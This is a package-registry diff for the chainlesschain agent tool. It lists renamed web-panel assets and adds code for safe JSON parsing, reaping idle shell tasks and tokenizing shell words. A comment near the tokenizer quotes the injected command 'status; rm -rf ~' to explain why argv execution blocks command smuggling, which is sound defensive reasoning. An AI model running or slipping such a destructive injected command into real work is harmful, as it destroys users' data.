chainlesschain 0.162.123 → 0.162.124
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/src/assets/web-panel/.build-hash +1 -1
- package/src/assets/web-panel/assets/{AIOps-C5CSd8pY.js → AIOps-BsDJlD_l.js} +1 -1
- package/src/assets/web-panel/assets/{ActionButton-BugJtiJc.js → ActionButton-COjZZKWG.js} +1 -1
- package/src/assets/web-panel/assets/Analytics-4ZDZE7lc.js +3 -0
- package/src/assets/web-panel/assets/{AppLayout-Cb0eHetM.js → AppLayout-CYH5k2Rp.js} +5 -5
- package/src/assets/web-panel/assets/{Audit-qjq04wh8.js → Audit-BKlFbLdl.js} +1 -1
- package/src/assets/web-panel/assets/Backup-CiX61Qc2.js +1 -0
- package/src/assets/web-panel/assets/{BaseInput-CZ0c7QHk.js → BaseInput-CDxIQokd.js} +1 -1
- package/src/assets/web-panel/assets/{Chat-CaKDT3wV.js → Chat-CaKgdRab.js} +6 -6
- package/src/assets/web-panel/assets/ChatBubbleRenderer-DgvpwU5o.js +1 -0
- package/src/assets/web-panel/assets/{Checkbox-C6-Iu3bG.js → Checkbox-CjiWfu4s.js} +1 -1
- package/src/assets/web-panel/assets/{Codegen-TGLFk6P1.js → Codegen-tKWGzajw.js} +1 -1
- package/src/assets/web-panel/assets/{Col-DVBrO7AN.js → Col-ZKWREyNs.js} +1 -1
- package/src/assets/web-panel/assets/{Community-tg6-Rik1.js → Community-CmLuPBUU.js} +1 -1
- package/src/assets/web-panel/assets/{Compact-DM4ZgFSE.js → Compact-DqknM98n.js} +1 -1
- package/src/assets/web-panel/assets/Compliance-PZw0aBLI.js +1 -0
- package/src/assets/web-panel/assets/{Cowork-CJwiWkUY.js → Cowork-Dp29kHsC.js} +2 -2
- package/src/assets/web-panel/assets/{Cron-dsdXHvrO.js → Cron-zmEJAetz.js} +2 -2
- package/src/assets/web-panel/assets/{Crosschain-p7_5Gq-7.js → Crosschain-Sb-uM7Ty.js} +1 -1
- package/src/assets/web-panel/assets/{DID-BB_LBLYT.js → DID-D_UFNzJ5.js} +2 -2
- package/src/assets/web-panel/assets/{Dashboard-Bh_HkNSD.js → Dashboard-Btag698v.js} +2 -2
- package/src/assets/web-panel/assets/{Dropdown-dTFtVnKk.js → Dropdown-CH7l3KCs.js} +1 -1
- package/src/assets/web-panel/assets/{EmailListRenderer-yqdttzXV.js → EmailListRenderer-Bud2M3XX.js} +1 -1
- package/src/assets/web-panel/assets/{FamilyGuardDashboard-DfX3YpUU.js → FamilyGuardDashboard-Bd2_8uME.js} +1 -1
- package/src/assets/web-panel/assets/{Federation-BJApfPV4.js → Federation-1jhstF5P.js} +1 -1
- package/src/assets/web-panel/assets/{FormItemContext-DNMwIh7X.js → FormItemContext-CpSH464Y.js} +1 -1
- package/src/assets/web-panel/assets/{GenericCardRenderer-C-T8UQf0.js → GenericCardRenderer-CANo8O-y.js} +1 -1
- package/src/assets/web-panel/assets/{Git-SURFhkLi.js → Git-hvuZVoD3.js} +2 -2
- package/src/assets/web-panel/assets/{Governance-B4u_KsfE.js → Governance-BQrWksKt.js} +1 -1
- package/src/assets/web-panel/assets/{Inference-2kr_rKQd.js → Inference-jEBTp12v.js} +1 -1
- package/src/assets/web-panel/assets/KnowledgeGraph-tDiV2taf.js +1 -0
- package/src/assets/web-panel/assets/Logs-DDkTnedu.js +2 -0
- package/src/assets/web-panel/assets/{Marketplace-W9Iz8b2m.js → Marketplace-9Yi32avt.js} +1 -1
- package/src/assets/web-panel/assets/{McpTools-D0waMomb.js → McpTools-Qx78XyOT.js} +5 -5
- package/src/assets/web-panel/assets/{Memory-Ci768GQ3.js → Memory-CXYDO1oT.js} +2 -2
- package/src/assets/web-panel/assets/MobileBridge-MfUfkHA0.js +1 -0
- package/src/assets/web-panel/assets/{MobileProjects-RpFuAiNz.js → MobileProjects-DEDbWNIk.js} +1 -1
- package/src/assets/web-panel/assets/{Mtc-DJdw8btT.js → Mtc-Dwa_vlR8.js} +2 -2
- package/src/assets/web-panel/assets/{MtcAudit-Dc596XgH.js → MtcAudit-DAVkxhJv.js} +2 -2
- package/src/assets/web-panel/assets/{Multisig--Qs7eGsH.js → Multisig-C3upmgPN.js} +3 -3
- package/src/assets/web-panel/assets/{NLProgramming-D3y71FDX.js → NLProgramming-DO3CZ0_z.js} +1 -1
- package/src/assets/web-panel/assets/{Notes-uMxjj66_.js → Notes-B1Oy3FbC.js} +4 -4
- package/src/assets/web-panel/assets/{NotificationSettings-C4ikBOsm.js → NotificationSettings-Bs4-Fc6b.js} +1 -1
- package/src/assets/web-panel/assets/{OrderTableRenderer-BpmdunAz.js → OrderTableRenderer-CEy1pIeq.js} +1 -1
- package/src/assets/web-panel/assets/Organization-D4cJ1UNo.js +4 -0
- package/src/assets/web-panel/assets/{Overflow-B-4_IpbB.js → Overflow-fdzvlF7x.js} +1 -1
- package/src/assets/web-panel/assets/{P2P-DdOf9BZs.js → P2P-Y13PwXBA.js} +2 -2
- package/src/assets/web-panel/assets/{PdhVaultBrowser-DDU2Zc9Q.js → PdhVaultBrowser-Ck1zCLe6.js} +3 -3
- package/src/assets/web-panel/assets/Permissions-CvEXP6LC.js +4 -0
- package/src/assets/web-panel/assets/{PersonalDataHub-B3WcvKni.js → PersonalDataHub-JeP7IWMW.js} +3 -3
- package/src/assets/web-panel/assets/{Pipeline-DASuPDc3.js → Pipeline-BZ7wRzG1.js} +1 -1
- package/src/assets/web-panel/assets/{Privacy-DnixwmhJ.js → Privacy-BJ6qj9Hv.js} +1 -1
- package/src/assets/web-panel/assets/{ProjectInit-BQjMDkML.js → ProjectInit-DeWd9UcS.js} +2 -2
- package/src/assets/web-panel/assets/ProjectSettings-DUpVuU9F.js +2 -0
- package/src/assets/web-panel/assets/{Projects-BGWEJIVT.js → Projects-y1WbI337.js} +1 -1
- package/src/assets/web-panel/assets/{Providers-Bl0dw6cI.js → Providers-DECW00ek.js} +1 -1
- package/src/assets/web-panel/assets/{QuickAsk-BDrk7l3t.js → QuickAsk-Dl-pK9Io.js} +1 -1
- package/src/assets/web-panel/assets/{Recommend-BPKof_CA.js → Recommend-Bju04wTd.js} +1 -1
- package/src/assets/web-panel/assets/{Reputation-6MNJLklK.js → Reputation-BUPa3nEk.js} +1 -1
- package/src/assets/web-panel/assets/{Row-DmGJwpfd.js → Row-WYqqaq_5.js} +1 -1
- package/src/assets/web-panel/assets/{RssFeed-9-Fxh3_w.js → RssFeed-iyQT5q9l.js} +3 -3
- package/src/assets/web-panel/assets/{Search-CCHjey_D.js → Search-CrfwJF0R.js} +1 -1
- package/src/assets/web-panel/assets/{Security-D6CySV7r.js → Security-c4Jxf5Ih.js} +4 -4
- package/src/assets/web-panel/assets/{Services-Co8Mk8qE.js → Services-CRuisolj.js} +2 -2
- package/src/assets/web-panel/assets/{Skeleton-BdON8M-1.js → Skeleton-CCnzJkb-.js} +1 -1
- package/src/assets/web-panel/assets/{Skills-CEJE1Go1.js → Skills-CZURCwZg.js} +1 -1
- package/src/assets/web-panel/assets/{Sla-BSxFvFX9.js → Sla-CrMzaEi2.js} +1 -1
- package/src/assets/web-panel/assets/SpeechSettings-jTDOM5eY.js +1 -0
- package/src/assets/web-panel/assets/{SyncSettings-52NXsfyj.js → SyncSettings-CJWVtd87.js} +2 -2
- package/src/assets/web-panel/assets/{Tasks-He7CweW6.js → Tasks-61lrQ_lS.js} +1 -1
- package/src/assets/web-panel/assets/Templates-Cg-iF2g1.js +1 -0
- package/src/assets/web-panel/assets/{Tenant-Dd5XNbYF.js → Tenant-DrDv1FFc.js} +1 -1
- package/src/assets/web-panel/assets/Terminal-CP15hcNS.js +3 -0
- package/src/assets/web-panel/assets/{TimelineRenderer-BdfqBQmM.js → TimelineRenderer-Sl5uXrkN.js} +1 -1
- package/src/assets/web-panel/assets/{Tokens-CsgNsrdQ.js → Tokens-yRIZTVsR.js} +1 -1
- package/src/assets/web-panel/assets/{Trigger-Dt_N_rvo.js → Trigger-BLCQEOF2.js} +1 -1
- package/src/assets/web-panel/assets/{Trust-B1lJzsPn.js → Trust-D5xq8z6s.js} +1 -1
- package/src/assets/web-panel/assets/{UkeySign-CW8YdFxg.js → UkeySign-Dwp0zXQ6.js} +1 -1
- package/src/assets/web-panel/assets/{VideoEditing-CU6o7qvp.js → VideoEditing-CIHA55Sx.js} +1 -1
- package/src/assets/web-panel/assets/Wallet-Hjajvnto.js +4 -0
- package/src/assets/web-panel/assets/WebAuthn-DqSURUvI.js +5 -0
- package/src/assets/web-panel/assets/{WorkflowEditor-BcCA2U8H.js → WorkflowEditor-B5bHRwUG.js} +1 -1
- package/src/assets/web-panel/assets/{chat-Cxl5DGsc.js → chat-DsheLKkG.js} +1 -1
- package/src/assets/web-panel/assets/{colors-FS_7Xggs.js → colors-CST2UkgL.js} +1 -1
- package/src/assets/web-panel/assets/{compact-item-BzXjd3wJ.js → compact-item-yqEoy1L7.js} +1 -1
- package/src/assets/web-panel/assets/{createContext-DhF9bi_u.js → createContext-Jwp78HFY.js} +1 -1
- package/src/assets/web-panel/assets/devWarning-C8to6gQk.js +1 -0
- package/src/assets/web-panel/assets/{hasIn-Y1a0aV9N.js → hasIn-CVS5mFEP.js} +1 -1
- package/src/assets/web-panel/assets/{index-DfaSKEVD.js → index-AnW25bEq.js} +1 -1
- package/src/assets/web-panel/assets/{index-Dmjxpu0L.js → index-BCHAUdel.js} +1 -1
- package/src/assets/web-panel/assets/{index-B48PZ-xM.js → index-BLTUVd0V.js} +1 -1
- package/src/assets/web-panel/assets/{index-CRSkKj9M.js → index-BeblNJDH.js} +1 -1
- package/src/assets/web-panel/assets/{index-uLoKviUT.js → index-BuI27WSx.js} +1 -1
- package/src/assets/web-panel/assets/{index-BTltEtoG.js → index-BzetOasL.js} +1 -1
- package/src/assets/web-panel/assets/{index-CETvk0NN.js → index-C0FZScMe.js} +1 -1
- package/src/assets/web-panel/assets/{index-DZJMsVI1.js → index-C130LLPq.js} +1 -1
- package/src/assets/web-panel/assets/{index-Cgo1J_Kf.js → index-C8rq85gu.js} +1 -1
- package/src/assets/web-panel/assets/{index-BBtULjKY.js → index-CDAPnZUs.js} +1 -1
- package/src/assets/web-panel/assets/{index-BepInmSi.js → index-CIE2n8k_.js} +1 -1
- package/src/assets/web-panel/assets/{index-D3IVAG9l.js → index-CRBbVS43.js} +1 -1
- package/src/assets/web-panel/assets/{index-Ci7PSoQn.js → index-CSBPc-sI.js} +1 -1
- package/src/assets/web-panel/assets/{index-CxYHV8nb.js → index-CTd3lDxp.js} +1 -1
- package/src/assets/web-panel/assets/index-CUWj5L2s.js +1 -0
- package/src/assets/web-panel/assets/{index-CzlCP4jP.js → index-ChRL6rgA.js} +1 -1
- package/src/assets/web-panel/assets/{index-DVTex5M8.js → index-CjfN2CpJ.js} +1 -1
- package/src/assets/web-panel/assets/{index-1iacQgo5.js → index-Cjig5i3a.js} +3 -3
- package/src/assets/web-panel/assets/{index-JUukFpxi.js → index-Crk4KWLW.js} +1 -1
- package/src/assets/web-panel/assets/{index-BllceSdr.js → index-CrlRa054.js} +1 -1
- package/src/assets/web-panel/assets/{index-Cn9lbqaS.js → index-CtyEOGuj.js} +1 -1
- package/src/assets/web-panel/assets/{index-Bt_0ygjA.js → index-Cu6Ql64n.js} +1 -1
- package/src/assets/web-panel/assets/{index-B_Z0PHC0.js → index-Cx_t5rWw.js} +1 -1
- package/src/assets/web-panel/assets/{index-CELVZPNt.js → index-Cy0dNzkp.js} +1 -1
- package/src/assets/web-panel/assets/{index-GCd5hs58.js → index-CzsKK0tQ.js} +1 -1
- package/src/assets/web-panel/assets/{index-BnvaUocg.js → index-DDAigsel.js} +1 -1
- package/src/assets/web-panel/assets/index-DZfnYE6e.js +1 -0
- package/src/assets/web-panel/assets/{index-C2S8McM1.js → index-D_1b7uh6.js} +1 -1
- package/src/assets/web-panel/assets/{index--fcP34eT.js → index-D_e9gwfn.js} +1 -1
- package/src/assets/web-panel/assets/{index-DgHWZVjv.js → index-DbxAlpPC.js} +1 -1
- package/src/assets/web-panel/assets/{index-BNmWkPqm.js → index-De600Jjm.js} +1 -1
- package/src/assets/web-panel/assets/{index-DxGVbuqr.js → index-Dgyn8-wN.js} +1 -1
- package/src/assets/web-panel/assets/{index-BzQkdgQW.js → index-DiK4vSZa.js} +1 -1
- package/src/assets/web-panel/assets/{index-CuTKOay7.js → index-DpYn5v2k.js} +1 -1
- package/src/assets/web-panel/assets/{index-Sl-sLj3T.js → index-DxaU_lza.js} +1 -1
- package/src/assets/web-panel/assets/{index-Na733kBa.js → index-Dxljh9Fu.js} +1 -1
- package/src/assets/web-panel/assets/{index-DLyIxnjc.js → index-R-VGFpi6.js} +1 -1
- package/src/assets/web-panel/assets/{index-DUcVF8e6.js → index-SjxCCf5h.js} +1 -1
- package/src/assets/web-panel/assets/{index-1khPb4ZS.js → index-diWkx2Wq.js} +1 -1
- package/src/assets/web-panel/assets/{initDefaultProps-D6QmlnQ-.js → initDefaultProps-ClAjrsQ-.js} +1 -1
- package/src/assets/web-panel/assets/{motion-BHrTGY1_.js → motion-BalXv_60.js} +1 -1
- package/src/assets/web-panel/assets/{move-Bpph6B_N.js → move-DMelzIW-.js} +1 -1
- package/src/assets/web-panel/assets/{omit-Dx0YMbWn.js → omit-oxecfU3b.js} +1 -1
- package/src/assets/web-panel/assets/{pickAttrs-D-a8Fm6C.js → pickAttrs-DJ5F5M6x.js} +1 -1
- package/src/assets/web-panel/assets/{placementArrow-DXFSVgxv.js → placementArrow-DdbKsant.js} +1 -1
- package/src/assets/web-panel/assets/{responsiveObserve-CxhQ1EaK.js → responsiveObserve-BUuM5cmS.js} +1 -1
- package/src/assets/web-panel/assets/{slide-IlBI0XU8.js → slide-DSV0ccvR.js} +1 -1
- package/src/assets/web-panel/assets/{statusUtils-COoXVzje.js → statusUtils-B-6oLAXf.js} +1 -1
- package/src/assets/web-panel/assets/{styleChecker-DCuq89M_.js → styleChecker-DdCAHtsZ.js} +1 -1
- package/src/assets/web-panel/assets/{useFlexGapSupport-tfNE1ALO.js → useFlexGapSupport-ZORkcoZd.js} +1 -1
- package/src/assets/web-panel/assets/{useFs-DD4bzBkU.js → useFs-BFp46LoP.js} +1 -1
- package/src/assets/web-panel/assets/{usePersonalDataHub-DVkH1hbT.js → usePersonalDataHub-H7rxgbdW.js} +1 -1
- package/src/assets/web-panel/assets/{vnode-D1ZmXyxM.js → vnode-eIq4Tk0J.js} +1 -1
- package/src/assets/web-panel/assets/{zoom-DblBUHfi.js → zoom-CTNrv8-H.js} +1 -1
- package/src/assets/web-panel/index.html +1 -1
- package/src/commands/ask.js +24 -1
- package/src/commands/init.js +5 -4
- package/src/commands/instinct.js +18 -5
- package/src/commands/mcp.js +30 -3
- package/src/commands/memory.js +18 -5
- package/src/gateways/http/envelope-http-server.js +17 -2
- package/src/gateways/terminal/PtyManager.js +15 -2
- package/src/gateways/ws/ws-server.js +20 -0
- package/src/gateways/ws/ws-session-gateway.js +16 -0
- package/src/harness/mcp-client.js +57 -0
- package/src/harness/worktree-isolator.js +20 -9
- package/src/lib/agent-core.js +3 -0
- package/src/lib/autonomous-agent.js +7 -6
- package/src/lib/chat-intent-service.js +4 -2
- package/src/lib/checkpoint-store.js +23 -0
- package/src/lib/credential-guard.js +7 -0
- package/src/lib/git-integration.js +57 -1
- package/src/lib/hook-runner.cjs +11 -1
- package/src/lib/interactive-planner.js +4 -3
- package/src/lib/json-schema-output.js +47 -0
- package/src/lib/learning/reflection-engine.js +4 -3
- package/src/lib/learning/skill-improver.js +4 -3
- package/src/lib/learning/skill-synthesizer.js +4 -3
- package/src/lib/mcp-oauth.js +208 -20
- package/src/lib/mcp-serve.js +56 -6
- package/src/lib/orchestrator.js +4 -2
- package/src/lib/process-manager.js +31 -3
- package/src/lib/repl-completer.js +29 -0
- package/src/lib/slot-filler.js +4 -3
- package/src/lib/sub-agent-context.js +6 -0
- package/src/lib/web-fetch.js +54 -3
- package/src/lib/workflow-engine.js +35 -11
- package/src/runtime/agent-core.js +248 -26
- package/src/runtime/headless-stream.js +124 -17
- package/src/assets/web-panel/assets/Analytics-CzxpcV9E.js +0 -3
- package/src/assets/web-panel/assets/Backup-C2Y_XNBA.js +0 -1
- package/src/assets/web-panel/assets/ChatBubbleRenderer-TeKnMwPj.js +0 -1
- package/src/assets/web-panel/assets/Compliance-DFeWryxt.js +0 -1
- package/src/assets/web-panel/assets/KnowledgeGraph-h-nL7J6x.js +0 -1
- package/src/assets/web-panel/assets/Logs-DjuWREBJ.js +0 -2
- package/src/assets/web-panel/assets/MobileBridge-4jAehfcz.js +0 -3
- package/src/assets/web-panel/assets/Organization-BBEmFNGM.js +0 -4
- package/src/assets/web-panel/assets/Permissions-B1ebgevF.js +0 -4
- package/src/assets/web-panel/assets/ProjectSettings-dHyZ3SxW.js +0 -2
- package/src/assets/web-panel/assets/SpeechSettings-C3rShYlV.js +0 -1
- package/src/assets/web-panel/assets/Templates-UtjBlJIO.js +0 -1
- package/src/assets/web-panel/assets/Terminal-pFyh42cu.js +0 -3
- package/src/assets/web-panel/assets/Wallet-DPxjEhbN.js +0 -4
- package/src/assets/web-panel/assets/WebAuthn-CuJ29YAF.js +0 -5
- package/src/assets/web-panel/assets/devWarning-B1j78JeH.js +0 -1
- package/src/assets/web-panel/assets/index-BaN6wKWx.js +0 -1
- package/src/assets/web-panel/assets/index-N7JKRLCC.js +0 -1
|
@@ -37,6 +37,22 @@ export const TEMPLATE_TYPE = Object.freeze({
|
|
|
37
37
|
TEST_SUITE: "test_suite",
|
|
38
38
|
});
|
|
39
39
|
|
|
40
|
+
/**
|
|
41
|
+
* Parse a JSON column from a DB row without throwing. A truncated write, a
|
|
42
|
+
* manual edit, or a schema-drift row would otherwise make `JSON.parse` throw and
|
|
43
|
+
* crash the whole operation — and for list/map callers, ONE corrupt row would
|
|
44
|
+
* hide every other workflow. On bad/missing JSON we return `fallback` so a
|
|
45
|
+
* single bad row degrades to an empty/null value instead of poisoning the call.
|
|
46
|
+
*/
|
|
47
|
+
export function _safeParse(json, fallback) {
|
|
48
|
+
if (json == null) return fallback;
|
|
49
|
+
try {
|
|
50
|
+
return JSON.parse(json);
|
|
51
|
+
} catch {
|
|
52
|
+
return fallback;
|
|
53
|
+
}
|
|
54
|
+
}
|
|
55
|
+
|
|
40
56
|
/**
|
|
41
57
|
* Ensure workflow tables exist in the database.
|
|
42
58
|
*/
|
|
@@ -183,7 +199,7 @@ export function getWorkflow(db, workflowId) {
|
|
|
183
199
|
.prepare("SELECT * FROM workflows WHERE id = ?")
|
|
184
200
|
.get(workflowId);
|
|
185
201
|
if (!row) return null;
|
|
186
|
-
return { ...row, dag:
|
|
202
|
+
return { ...row, dag: _safeParse(row.dag, null) };
|
|
187
203
|
}
|
|
188
204
|
|
|
189
205
|
/**
|
|
@@ -196,7 +212,7 @@ export function listWorkflows(db) {
|
|
|
196
212
|
.all();
|
|
197
213
|
return rows.map((row) => ({
|
|
198
214
|
...row,
|
|
199
|
-
dag:
|
|
215
|
+
dag: _safeParse(row.dag, null),
|
|
200
216
|
}));
|
|
201
217
|
}
|
|
202
218
|
|
|
@@ -222,6 +238,11 @@ export function executeWorkflow(db, workflowId, input = {}) {
|
|
|
222
238
|
if (!workflow) {
|
|
223
239
|
throw new Error(`Workflow not found: ${workflowId}`);
|
|
224
240
|
}
|
|
241
|
+
if (!Array.isArray(workflow.dag) || workflow.dag.length === 0) {
|
|
242
|
+
// _safeParse yields null for a corrupt `dag` column — give a clear error
|
|
243
|
+
// instead of an opaque NPE in topologicalSort.
|
|
244
|
+
throw new Error(`Workflow ${workflowId} has a corrupt or empty DAG`);
|
|
245
|
+
}
|
|
225
246
|
|
|
226
247
|
const execId = `exec-${crypto.randomBytes(8).toString("hex")}`;
|
|
227
248
|
const stages = workflow.dag;
|
|
@@ -321,7 +342,7 @@ export function pauseExecution(db, executionId) {
|
|
|
321
342
|
executionId,
|
|
322
343
|
);
|
|
323
344
|
|
|
324
|
-
const log =
|
|
345
|
+
const log = _safeParse(exec.log, []);
|
|
325
346
|
log.push({
|
|
326
347
|
action: "paused",
|
|
327
348
|
timestamp: new Date().toISOString(),
|
|
@@ -354,7 +375,7 @@ export function resumeExecution(db, executionId) {
|
|
|
354
375
|
executionId,
|
|
355
376
|
);
|
|
356
377
|
|
|
357
|
-
const log =
|
|
378
|
+
const log = _safeParse(exec.log, []);
|
|
358
379
|
log.push({
|
|
359
380
|
action: "resumed",
|
|
360
381
|
timestamp: new Date().toISOString(),
|
|
@@ -387,7 +408,7 @@ export function rollbackExecution(db, executionId) {
|
|
|
387
408
|
executionId,
|
|
388
409
|
);
|
|
389
410
|
|
|
390
|
-
const log =
|
|
411
|
+
const log = _safeParse(exec.log, []);
|
|
391
412
|
log.push({
|
|
392
413
|
action: "rolled_back",
|
|
393
414
|
timestamp: new Date().toISOString(),
|
|
@@ -415,7 +436,7 @@ export function getExecutionLog(db, executionId) {
|
|
|
415
436
|
id: exec.id,
|
|
416
437
|
workflowId: exec.workflow_id,
|
|
417
438
|
status: exec.status,
|
|
418
|
-
log:
|
|
439
|
+
log: _safeParse(exec.log, []),
|
|
419
440
|
startedAt: exec.started_at,
|
|
420
441
|
completedAt: exec.completed_at,
|
|
421
442
|
};
|
|
@@ -688,7 +709,7 @@ export function createCheckpoint(db, executionId) {
|
|
|
688
709
|
currentStage: exec.current_stage,
|
|
689
710
|
capturedAt: new Date().toISOString(),
|
|
690
711
|
};
|
|
691
|
-
const nodeStates =
|
|
712
|
+
const nodeStates = _safeParse(exec.log, []);
|
|
692
713
|
|
|
693
714
|
db.prepare(
|
|
694
715
|
`INSERT INTO workflow_checkpoints (id, execution_id, workflow_id, state_snapshot, node_states, created_at)
|
|
@@ -722,8 +743,8 @@ export function listCheckpoints(db, executionId) {
|
|
|
722
743
|
id: row.id,
|
|
723
744
|
executionId: row.execution_id,
|
|
724
745
|
workflowId: row.workflow_id,
|
|
725
|
-
snapshot:
|
|
726
|
-
nodeStates:
|
|
746
|
+
snapshot: _safeParse(row.state_snapshot, {}),
|
|
747
|
+
nodeStates: _safeParse(row.node_states, []),
|
|
727
748
|
createdAt: row.created_at,
|
|
728
749
|
}));
|
|
729
750
|
}
|
|
@@ -750,8 +771,8 @@ export function rollbackToCheckpoint(db, executionId, checkpointId) {
|
|
|
750
771
|
throw new Error(`Execution not found: ${executionId}`);
|
|
751
772
|
}
|
|
752
773
|
|
|
753
|
-
const snapshot =
|
|
754
|
-
const nodeStates =
|
|
774
|
+
const snapshot = _safeParse(cp.state_snapshot, {});
|
|
775
|
+
const nodeStates = _safeParse(cp.node_states, []);
|
|
755
776
|
|
|
756
777
|
const restoredLog = [
|
|
757
778
|
...nodeStates,
|
|
@@ -792,6 +813,9 @@ export function setBreakpoint(db, workflowId, nodeId, condition = null) {
|
|
|
792
813
|
if (!workflow) {
|
|
793
814
|
throw new Error(`Workflow not found: ${workflowId}`);
|
|
794
815
|
}
|
|
816
|
+
if (!Array.isArray(workflow.dag)) {
|
|
817
|
+
throw new Error(`Workflow ${workflowId} has a corrupt DAG`);
|
|
818
|
+
}
|
|
795
819
|
const nodeExists = workflow.dag.some((s) => s.id === nodeId);
|
|
796
820
|
if (!nodeExists) {
|
|
797
821
|
throw new Error(`Node ${nodeId} not in workflow ${workflowId}`);
|
|
@@ -16,7 +16,7 @@
|
|
|
16
16
|
|
|
17
17
|
import fs from "fs";
|
|
18
18
|
import path from "path";
|
|
19
|
-
import { execSync, spawn } from "child_process";
|
|
19
|
+
import { execSync, spawn, spawnSync } from "child_process";
|
|
20
20
|
import os from "os";
|
|
21
21
|
import sharedCodingAgentPolicy from "./coding-agent-policy.cjs";
|
|
22
22
|
import sharedShellPolicy from "./coding-agent-shell-policy.cjs";
|
|
@@ -218,6 +218,49 @@ export function killAllBackgroundShellTasks() {
|
|
|
218
218
|
return killed;
|
|
219
219
|
}
|
|
220
220
|
|
|
221
|
+
// Idle-reap tuning (Claude-Code 2.1.193 "automatic memory-pressure reaping for
|
|
222
|
+
// idle background shell commands"). A running task is a reap candidate when it
|
|
223
|
+
// has produced no output for BG_IDLE_REAP_MS AND the system is under memory
|
|
224
|
+
// pressure (free/total below BG_MEM_PRESSURE_RATIO). Conservative on purpose:
|
|
225
|
+
// idle-but-active tasks and a healthy machine are left alone, and the whole
|
|
226
|
+
// behaviour is off when CLAUDE_CODE_DISABLE_BG_SHELL_PRESSURE_REAP=1.
|
|
227
|
+
const BG_IDLE_REAP_MS = 5 * 60 * 1000; // 5 min of silence
|
|
228
|
+
const BG_MEM_PRESSURE_RATIO = 0.1; // free < 10% of total = pressure
|
|
229
|
+
|
|
230
|
+
/**
|
|
231
|
+
* Reap idle background shell tasks when the system is under memory pressure, so
|
|
232
|
+
* a forgotten `npm run dev` or a wedged build can't sit on memory indefinitely.
|
|
233
|
+
* No-op on a healthy machine (the pressure gate) or when disabled by env. Deps
|
|
234
|
+
* (now / freemem / totalmem / thresholds) are injectable for tests.
|
|
235
|
+
* @returns {string[]} ids of reaped tasks
|
|
236
|
+
*/
|
|
237
|
+
export function reapIdleBackgroundShellTasks(deps = {}) {
|
|
238
|
+
if (process.env.CLAUDE_CODE_DISABLE_BG_SHELL_PRESSURE_REAP === "1") return [];
|
|
239
|
+
const now = deps.now || Date.now;
|
|
240
|
+
const freemem = deps.freemem || os.freemem;
|
|
241
|
+
const totalmem = deps.totalmem || os.totalmem;
|
|
242
|
+
const idleMs = deps.idleMs != null ? deps.idleMs : BG_IDLE_REAP_MS;
|
|
243
|
+
const ratio =
|
|
244
|
+
deps.pressureRatio != null ? deps.pressureRatio : BG_MEM_PRESSURE_RATIO;
|
|
245
|
+
const total = totalmem();
|
|
246
|
+
const free = freemem();
|
|
247
|
+
if (!(total > 0) || free / total >= ratio) return []; // healthy → nothing to do
|
|
248
|
+
const t = now();
|
|
249
|
+
const reaped = [];
|
|
250
|
+
for (const task of _backgroundShellTasks.values()) {
|
|
251
|
+
if (task.status !== "running") continue;
|
|
252
|
+
const last = task.lastActivityAt || Date.parse(task.startedAt) || 0;
|
|
253
|
+
if (t - last < idleMs) continue; // still producing output recently
|
|
254
|
+
if (_killTask(task)) {
|
|
255
|
+
task.status = "reaped";
|
|
256
|
+
task.endedAt = new Date().toISOString();
|
|
257
|
+
task.error = "reaped: idle under memory pressure";
|
|
258
|
+
reaped.push(task.id);
|
|
259
|
+
}
|
|
260
|
+
}
|
|
261
|
+
return reaped;
|
|
262
|
+
}
|
|
263
|
+
|
|
221
264
|
// Foreground (synchronous) run_shell timeout. Configurable per-call via the
|
|
222
265
|
// optional `timeout` arg; defaults to 60s and is hard-capped at 10 min so a
|
|
223
266
|
// synchronous call can never wedge the loop indefinitely (use run_in_background
|
|
@@ -668,6 +711,50 @@ const IDE_DIFF_EDIT_TOOLS = new Set([
|
|
|
668
711
|
"edit_file_hashed",
|
|
669
712
|
]);
|
|
670
713
|
|
|
714
|
+
/**
|
|
715
|
+
* Quote-aware shell tokenizer (mirrors gateways/ws `tokenizeCommand`). The `git`
|
|
716
|
+
* tool runs the model-supplied command via argv (spawnSync, NO shell), so a
|
|
717
|
+
* string like `status; rm -rf ~` can't inject a second command through the
|
|
718
|
+
* shell — git just sees `status;` as an unknown subcommand. A quoted arg (e.g.
|
|
719
|
+
* a commit message) keeps its content because quotes are consumed here.
|
|
720
|
+
*/
|
|
721
|
+
export function tokenizeShellWords(input) {
|
|
722
|
+
const args = [];
|
|
723
|
+
let current = "";
|
|
724
|
+
let inDouble = false;
|
|
725
|
+
let inSingle = false;
|
|
726
|
+
let escape = false;
|
|
727
|
+
for (const ch of String(input || "")) {
|
|
728
|
+
if (escape) {
|
|
729
|
+
current += ch;
|
|
730
|
+
escape = false;
|
|
731
|
+
continue;
|
|
732
|
+
}
|
|
733
|
+
if (ch === "\\" && inDouble) {
|
|
734
|
+
escape = true;
|
|
735
|
+
continue;
|
|
736
|
+
}
|
|
737
|
+
if (ch === '"' && !inSingle) {
|
|
738
|
+
inDouble = !inDouble;
|
|
739
|
+
continue;
|
|
740
|
+
}
|
|
741
|
+
if (ch === "'" && !inDouble) {
|
|
742
|
+
inSingle = !inSingle;
|
|
743
|
+
continue;
|
|
744
|
+
}
|
|
745
|
+
if ((ch === " " || ch === "\t") && !inDouble && !inSingle) {
|
|
746
|
+
if (current.length > 0) {
|
|
747
|
+
args.push(current);
|
|
748
|
+
current = "";
|
|
749
|
+
}
|
|
750
|
+
continue;
|
|
751
|
+
}
|
|
752
|
+
current += ch;
|
|
753
|
+
}
|
|
754
|
+
if (current.length > 0) args.push(current);
|
|
755
|
+
return args;
|
|
756
|
+
}
|
|
757
|
+
|
|
671
758
|
/**
|
|
672
759
|
* Compute the content an edit tool WOULD write, without writing it — the
|
|
673
760
|
* left/right sides for an IDE diff review. Mirrors the corresponding
|
|
@@ -1156,6 +1243,7 @@ export async function executeTool(name, args, context = {}) {
|
|
|
1156
1243
|
additionalDirectories: context.additionalDirectories || null,
|
|
1157
1244
|
ruleAllowed,
|
|
1158
1245
|
subAgentDepth: context.subAgentDepth || 0,
|
|
1246
|
+
subAgentBudget: context.subAgentBudget || null,
|
|
1159
1247
|
interactiveApproval: context.interactiveApproval || false,
|
|
1160
1248
|
});
|
|
1161
1249
|
} catch (err) {
|
|
@@ -1527,6 +1615,7 @@ async function executeToolInner(
|
|
|
1527
1615
|
additionalDirectories,
|
|
1528
1616
|
ruleAllowed = false,
|
|
1529
1617
|
subAgentDepth = 0,
|
|
1618
|
+
subAgentBudget = null,
|
|
1530
1619
|
interactiveApproval = false,
|
|
1531
1620
|
},
|
|
1532
